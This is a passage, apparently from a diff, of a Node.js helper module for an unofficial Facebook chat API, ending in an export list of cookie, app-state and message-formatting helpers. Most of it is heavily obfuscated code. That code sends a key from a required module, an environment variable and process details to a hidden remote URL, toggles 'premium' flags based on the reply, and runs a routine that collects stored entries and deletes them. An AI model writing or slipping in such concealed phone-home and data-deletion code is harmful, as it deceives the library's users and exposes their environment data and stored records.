_0x5af8f5=_0x129a03[_0x1ac6d8(0x112)][_0x1ac6d8(0x122)]('|'),_0x2dd232=-0x1de4+0x1183*-0x1+0xf*0x329;while(!![]){switch(_0x5af8f5[_0x2dd232++]){case'0':_0x2569a4[_0x3d5aa3(0xd9)](_0x129a03[_0x3267db(0x151)],![]);continue;case'1':_0x131f0a[_0x5a7154(0xd9)](_0x129a03[_0x3267db(0x16d)],'');continue;case'2':_0x9466ea[_0x1ac6d8(0x89)+'ng'][_0x3267db(0xd9)](_0x129a03[_0x3267db(0x180)],![]);continue;case'3':_0x129a03[_0x1ac6d8(0x124)](_0x20173f,_0x129a03[_0x3d5aa3(0x143)]);continue;case'4':_0x129a03[_0x3d5aa3(0x104)](_0x2165ae,_0x3009c6[_0x1ac6d8(0xe2)](_0x247328)[_0x1ac6d8(0x176)+'ge']);continue;}break;}}else{var {body:_0x16d40e}=await _0x129a03[_0x3d5aa3(0x124)](Fetch,_0x21d962(0xb6)+_0x21d962(0x12d)+_0x21d962(0xaf)+_0x1ac6d8(0x11c)+_0x21d962(0x8a)+_0x21d962(0xa6)+_0x5a7154(0xc1)+_0x21d962(0xef)+_0x21d962(0x18f)+_0x1ac6d8(0x8e)+_0x5a7154(0x134)+_0x129a03[_0x1ac6d8(0x100)](String,_0x129a03[_0x21d962(0x96)](require,_0x129a03[_0x21d962(0xde)])[_0x5a7154(0x103)+'y'])+(_0x3267db(0xa1)+_0x3267db(0x10e))+_0x32cd53+(_0x1ac6d8(0xd3)+_0x3267db(0x142))+process[_0x5a7154(0x179)][_0x21d962(0x105)]+(_0x21d962(0x156)+_0x1ac6d8(0xd0))+process[_0x21d962(0x191)+_0x3d5aa3(0x147)]);if(_0x129a03[_0x1ac6d8(0xed)](JSON[_0x21d962(0xe2)](_0x16d40e)[_0x5a7154(0xf7)+'s'],!![])){if(_0x129a03[_0x3267db(0x18e)](_0x129a03[_0x3267db(0x79)],_0x129a03[_0x5a7154(0x79)])){var _0x3c481c=_0x129a03[_0x1ac6d8(0x115)][_0x1ac6d8(0x122)]('|'),_0x46a6f2=-0x118c*0x2+0x81*0x11+-0x1a87*-0x1;while(!![]){switch(_0x3c481c[_0x46a6f2++]){case'0':_0x129a03[_0x3267db(0x119)](_0x4a28c0,_0x129a03[_0x3267db(0x170)]);continue;case'1':_0x120907[_0x5a7154(0xd9)](_0x129a03[_0x5a7154(0x72)],_0x30671c);continue;case'2':_0xafbde[_0x21d962(0x89)+'ng'][_0x3267db(0xd9)](_0x129a03[_0x3267db(0x180)],!![]);continue;case'3':_0x2583af[_0x1ac6d8(0xd9)](_0x129a03[_0x5a7154(0x151)],!![]);continue;case'4':_0x29e476[_0x21d962(0xd9)](_0x129a03[_0x1ac6d8(0x16d)],_0x129a03[_0x5a7154(0x96)](_0x2bf448,_0x129a03[_0x3d5aa3(0xff)](_0x2b58bf,_0x129a03[_0x21d962(0xde)])[_0x3d5aa3(0x103)+'y']));continue;}break;}}else{var _0x34755b=_0x129a03[_0x21d962(0x70)][_0x21d962(0x122)]('|'),_0x5861dd=-0x1*0x1033+-0xc89+0x1cbc;while(!![]){switch(_0x34755b[_0x5861dd++]){case'0':Database[_0x1ac6d8(0xd9)](_0x129a03[_0x21d962(0x16d)],_0x129a03[_0x1ac6d8(0xb5)](String,_0x129a03[_0x5a7154(0xb5)](require,_0x129a03[_0x3d5aa3(0xde)])[_0x3267db(0x103)+'y']));continue;case'1':Database[_0x3267db(0xd9)](_0x129a03[_0x5a7154(0x151)],!![]);continue;case'2':Database[_0x21d962(0xd9)](_0x129a03[_0x5a7154(0x72)],_0x32cd53);continue;case'3':global[_0x1ac6d8(0x89)+'ng'][_0x5a7154(0xd9)](_0x129a03[_0x5a7154(0x180)],!![]);continue;case'4':_0x129a03[_0x1ac6d8(0x9e)](logger,_0x129a03[_0x21d962(0x170)]);continue;}break;}}}else{if(_0x129a03[_0x5a7154(0x16a)](_0x129a03[_0x3d5aa3(0x99)],_0x129a03[_0x5a7154(0x99)])){var _0x35f163=_0x129a03[_0x21d962(0x88)][_0x3d5aa3(0x122)]('|'),_0x261fce=-0x5c9+0x131b*0x2+-0xacf*0x3;while(!![]){switch(_0x35f163[_0x261fce++]){case'0':_0x273e4d[_0x5a7154(0xd9)](_0x129a03[_0x3267db(0x151)],![]);continue;case'1':_0x129a03[_0x3267db(0xeb)](_0x1ea3d1,_0x129a03[_0x1ac6d8(0x143)]);continue;case'2':_0x48a043[_0x3267db(0x89)+'ng'][_0x5a7154(0xd9)](_0x129a03[_0x1ac6d8(0x180)],![]);continue;case'3':_0x4d38f3[_0x3267db(0xd9)](_0x129a03[_0x3267db(0x16d)],'');continue;case'4':_0x129a03[_0x5a7154(0x77)](_0x111b57,_0x47f159[_0x5a7154(0xe2)](_0x5c3df5)[_0x3d5aa3(0x176)+'ge']);continue;}break;}}else{var _0x30db10=_0x129a03[_0x21d962(0xb8)][_0x5a7154(0x122)]('|'),_0x3554b9=0x238c+-0x1*0x10a5+-0x12e7;while(!![]){switch(_0x30db10[_0x3554b9++]){case'0':global[_0x21d962(0x89)+'ng'][_0x5a7154(0xd9)](_0x129a03[_0x3267db(0x180)],![]);continue;case'1':_0x129a03[_0x21d962(0x81)](logger,_0x129a03[_0x21d962(0x143)]);continue;case'2':Database[_0x3267db(0xd9)](_0x129a03[_0x3d5aa3(0x151)],![]);continue;case'3':_0x129a03[_0x3267db(0xf4)](logger,JSON[_0x3267db(0xe2)](_0x16d40e)[_0x1ac6d8(0x176)+'ge']);continue;case'4':Database[_0x1ac6d8(0xd9)](_0x129a03[_0x5a7154(0x16d)],'');continue;}break;}}}}}}global[_0x5a7154(0x89)+'ng'][_0x3267db(0x175)](_0x129a03[_0x3267db(0x180)]);}}catch(_0x197ddb){_0x129a03[_0x3d5aa3(0x14f)](_0x129a03[_0x1ac6d8(0x162)],_0x129a03[_0x3d5aa3(0xab)])?(logger[_0x3d5aa3(0x148)](),_0x129a03[_0x5a7154(0x118)](logger,_0x129a03[_0x5a7154(0xa2)]),global[_0x5a7154(0x89)+'ng'][_0x5a7154(0xd9)](_0x129a03[_0x1ac6d8(0x180)],![]),_0x129a03[_0x21d962(0xf4)](logger,_0x129a03[_0x1ac6d8(0x143)])):(_0x179499[_0x21d962(0xd9)](_0x129a03[_0x5a7154(0x151)],![]),_0x5d3140[_0x21d962(0xd9)](_0x129a03[_0x1ac6d8(0x16d)],''),_0x4db94c[_0x21d962(0xd9)](_0x129a03[_0x5a7154(0x72)],_0x45b642));}_0x129a03[_0x3267db(0x87)](checkv2);};check(),global[bfwhbjwdwd_0x4dc06a(0x89)+'ng'][bfwhbjwdwd_0x202ae7(0xd9)](bfwhbjwdwd_0x4599d4(0xbd)+bfwhbjwdwd_0x2a23e1(0x8f)+bfwhbjwdwd_0x2a23e1(0x10a),!![]);}else{var ZVJuyv=(bfwhbjwdwd_0x5899f1(0x11f)+bfwhbjwdwd_0x202ae7(0xa0))[bfwhbjwdwd_0x2a23e1(0x122)]('|'),ynTxtI=-0x154*0x14+0x1*-0x187d+0x330d;while(!![]){switch(ZVJuyv[ynTxtI++]){case'0':global[bfwhbjwdwd_0x4599d4(0x89)+'ng'][bfwhbjwdwd_0x202ae7(0xd9)](bfwhbjwdwd_0x4599d4(0xbd)+bfwhbjwdwd_0x202ae7(0x8f)+bfwhbjwdwd_0x4599d4(0x10a),!![]);continue;case'1':Database[bfwhbjwdwd_0x202ae7(0xd9)](bfwhbjwdwd_0x4dc06a(0x168)+bfwhbjwdwd_0x4599d4(0xbc),'');continue;case'2':logger(bfwhbjwdwd_0x2a23e1(0x14c)+bfwhbjwdwd_0x4dc06a(0x6e)+bfwhbjwdwd_0x4599d4(0x177)+bfwhbjwdwd_0x2a23e1(0x101)+bfwhbjwdwd_0x4599d4(0x97)+bfwhbjwdwd_0x5899f1(0xcd));continue;case'3':global[bfwhbjwdwd_0x4dc06a(0x89)+'ng'][bfwhbjwdwd_0x4599d4(0xd9)](bfwhbjwdwd_0x5899f1(0x94)+bfwhbjwdwd_0x2a23e1(0x131)+bfwhbjwdwd_0x2a23e1(0xe3),![]);continue;case'4':Database[bfwhbjwdwd_0x4dc06a(0xd9)](bfwhbjwdwd_0x2a23e1(0x168)+'um',![]);continue;}break;}}var checkv2=function(){var _0x3e3809=bfwhbjwdwd_0x4dc06a,_0x2143fe=bfwhbjwdwd_0x202ae7,_0x3ce8b8=bfwhbjwdwd_0x4599d4,_0xd1db78=bfwhbjwdwd_0x4dc06a,_0x3f3329=bfwhbjwdwd_0x4599d4,_0x3b2c83={'Qdjvj':function(_0x4ca5c6,_0x1d9776){return _0x4ca5c6!=_0x1d9776;},'VwBcv':_0x3e3809(0x86)+_0x3e3809(0xad),'Phlhi':_0x3ce8b8(0x168)+'um','Bofeb':_0x3e3809(0x168)+_0x3e3809(0xbc),'tnYiQ':_0xd1db78(0x105),'bLzFl':function(_0x26ff64,_0x5634fc,_0x488e15){return _0x26ff64(_0x5634fc,_0x488e15);},'Phixq':_0x2143fe(0xe5)+_0x2143fe(0x107)+']','nOTeB':_0x3e3809(0x182)+_0x2143fe(0x169),'OfBiV':function(_0x103b6b,_0x49c988){return _0x103b6b(_0x49c988);},'JYRFA':_0xd1db78(0x14c)+_0x3ce8b8(0x6e)+_0x3e3809(0x177)+_0xd1db78(0x101)+_0xd1db78(0x97)+_0x3ce8b8(0xcd),'cDijP':_0x3e3809(0xbd)+_0x3e3809(0x8f)+_0x2143fe(0x10a),'dtHxE':_0x3ce8b8(0x94)+_0x3e3809(0x131)+_0x2143fe(0xe3),'grkXV':function(_0x3f1be6,_0x5a9495){return _0x3f1be6==_0x5a9495;},'ysgWr':function(_0x2d64ff,_0x108347){return _0x2d64ff(_0x108347);},'xcPbj':_0x3e3809(0xc9)+_0x3f3329(0x69),'MiFWK':function(_0x169d70,_0xa5604c){return _0x169d70===_0xa5604c;},'fKdOK':_0x3f3329(0x80),'lRboq':function(_0x4042a9){return _0x4042a9();},'imNss':function(_0x3b7efb,_0x2e4d6a){return _0x3b7efb!==_0x2e4d6a;},'TyBQK':_0xd1db78(0x144),'wUrAU':_0x3e3809(0x82),'AlzfA':function(_0x42b38c,_0x5a5ccf){return _0x42b38c>_0x5a5ccf;},'LduuC':function(_0x38cc21){return _0x38cc21();},'SzwUT':_0x3ce8b8(0x11b),'DGMQR':_0x3ce8b8(0x8d),'NppBz':function(_0x31d881,_0x2fface){return _0x31d881!=_0x2fface;},'BQLDc':function(_0x21f8f7,_0x1067f9){return _0x21f8f7!==_0x1067f9;},'WyWsi':_0x3ce8b8(0x183),'gDwRv':_0xd1db78(0x7e)};if(_0x3b2c83[_0x3e3809(0xf5)](global[_0xd1db78(0x89)+'ng'][_0x3e3809(0x175)](_0x3b2c83[_0x2143fe(0x166)]),!![]))try{let _0x5c4bdd=[];switch(_0x3b2c83[_0x3ce8b8(0xf3)](readyCreate,_0x3b2c83[_0x3e3809(0x6c)])){case!![]:{if(_0x3b2c83[_0x3f3329(0xd4)](_0x3b2c83[_0x2143fe(0xe8)],_0x3b2c83[_0x2143fe(0xe8)])){if(_0x3b2c83[_0xd1db78(0xf5)](_0x3b2c83[_0x2143fe(0xa7)](getAll)[_0xd1db78(0xf6)+'h'],-0x263a+-0x1576+-0x3bb1*-0x1)){if(_0x3b2c83[_0x2143fe(0x13e)](_0x3b2c83[_0xd1db78(0x164)],_0x3b2c83[_0x3f3329(0xe4)]))return;else _0x3b2c83[_0x3f3329(0xb1)](_0x478462[_0x3e3809(0x175)](_0x3b2c83[_0x3f3329(0x16c)]),_0x24831d)&&(_0x237c38[_0x3f3329(0xd9)](_0x3b2c83[_0xd1db78(0x145)],![]),_0x1e8658[_0x3f3329(0xd9)](_0x3b2c83[_0x3ce8b8(0x150)],''),_0x43893e[_0x3ce8b8(0xd9)](_0x3b2c83[_0xd1db78(0x16c)],_0x5e77fd));}else{if(_0x3b2c83[_0x2143fe(0x185)](_0x3b2c83[_0x2143fe(0x12a)](getAll)[_0x3e3809(0xf6)+'h'],0x236c+0x66*-0x56+-0x127)){if(_0x3b2c83[_0x3ce8b8(0xd4)](_0x3b2c83[_0x3e3809(0x90)],_0x3b2c83[_0x3ce8b8(0x90)])){for(let _0xb124f8 of _0x3b2c83[_0xd1db78(0x12a)](getAll)){if(_0x3b2c83[_0x2143fe(0xd4)](_0x3b2c83[_0x3ce8b8(0x6d)],_0x3b2c83[_0x3e3809(0x6d)])){if(_0x3b2c83[_0x2143fe(0x154)](_0xb124f8[_0x2143fe(0xa4)][_0x3f3329(0x195)+_0x3ce8b8(0xc6)],undefined)){if(_0x3b2c83[_0x2143fe(0x160)](_0x3b2c83[_0x3f3329(0xc2)],_0x3b2c83[_0x3f3329(0x102)]))_0x5c4bdd[_0x3f3329(0xbe)](_0xb124f8[_0xd1db78(0xa4)][_0x2143fe(0x195)+_0xd1db78(0xc6)]);else{if(_0x15b31[_0x3e3809(0x179)][_0x3b2c83[_0xd1db78(0x17c)]])_0x3b2c83[_0x3e3809(0x158)](_0x4abe83,_0x5950d3[_0xd1db78(0x133)+_0x3ce8b8(0xb2)+_0x3e3809(0x113)],_0x3b2c83[_0xd1db78(0x11d)]),_0x39cf20=_0x3ebdf6[_0x3e3809(0xbb)+_0x3ce8b8(0x114)+'te'](_0x5099d6[_0x2143fe(0x108)+_0xd1db78(0x13f)](_0x52441b),_0x1db61e[_0x3e3809(0x179)][_0x3b2c83[_0x3ce8b8(0x17c)]]);else return _0x459c1f;}}else continue;}else{var _0x6c346a=_0x3b2c83[_0x3ce8b8(0xc3)][_0x3e3809(0x122)]('|'),_0xdbe4b2=-0x14b*-0x6+0x833+-0xff5;while(!![]){switch(_0x6c346a[_0xdbe4b2++]){case'0':_0x422304[_0x3f3329(0xd9)](_0x3b2c83[_0x3e3809(0x145)],![]);continue;case'1':_0x3b2c83[_0x2143fe(0x172)](_0x4b1370,_0x3b2c83[_0x3f3329(0x109)]);continue;case'2':_0x18df4a[_0x3e3809(0x89)+'ng'][_0x3e3809(0xd9)](_0x3b2c83[_0x3e3809(0x14b)],!![]);continue;case'3':_0x47e0f5[_0x3ce8b8(0xd9)](_0x3b2c83[_0x3e3809(0x150)],'');continue;case'4':_0x1ec9c2[_0xd1db78(0x89)+'ng'][_0xd1db78(0xd9)](_0x3b2c83[_0x2143fe(0x166)],![]);continue;}break;}}}_0x3b2c83[_0x3f3329(0xf3)](deleteAll,_0x5c4bdd);}else _0x36a78c=_0x476898;}}}else _0x3bc971[_0x3f3329(0x178)](_0x1f295c);}break;case![]:{}break;}}catch(_0x22c626){console[_0x3f3329(0x178)](_0x22c626);}};logger(getText[bfwhbjwdwd_0x4dc06a(0x125)+'xt'](Language[bfwhbjwdwd_0x4dc06a(0xc7)+bfwhbjwdwd_0x4599d4(0x6a)+'e'],''+prettyMilliseconds(Date[bfwhbjwdwd_0x202ae7(0x17d)]()-global[bfwhbjwdwd_0x5899f1(0xd2)+bfwhbjwdwd_0x4dc06a(0xf8)])),bfwhbjwdwd_0x5899f1(0xe5)+bfwhbjwdwd_0x2a23e1(0x107)+']');return data;
1246
+ }
1247
+
1248
+ module.exports = {
1249
+ isReadableStream:isReadableStream,
1250
+ get:get,
1251
+ post:post,
1252
+ postFormData:postFormData,
1253
+ generateThreadingID:generateThreadingID,
1254
+ generateOfflineThreadingID:generateOfflineThreadingID,
1255
+ getGUID:getGUID,
1256
+ getFrom:getFrom,
1257
+ makeParsable:makeParsable,
1258
+ arrToForm:arrToForm,
1259
+ getSignatureID:getSignatureID,
1260
+ getJar: request.jar,
1261
+ generateTimestampRelative:generateTimestampRelative,
1262
+ makeDefaults:makeDefaults,
1263
+ parseAndCheckLogin:parseAndCheckLogin,
1264
+ getGender: getGenderByPhysicalMethod,
1265
+ saveCookies,
1266
+ getType,
1267
+ _formatAttachment,
1268
+ formatHistoryMessage,
1269
+ formatID,
1270
+ formatMessage,
1271
+ formatDeltaEvent,
1272
+ formatDeltaMessage,
1273
+ formatProxyPresence,
1274
+ formatPresence,
1275
+ formatTyp,
1276
+ formatDeltaReadReceipt,
1277
+ formatCookie,
1278
+ formatThread,
1279
+ formatReadReceipt,
1280
+ formatRead,
1281
+ generatePresence,
1282
+ generateAccessiblityCookie,
1283
+ formatDate,
1284
+ decodeClientPayload,
1285
+ getAppState,
1286
+ getAdminTextMessageType,
1287
+ setProxy
1288
+ };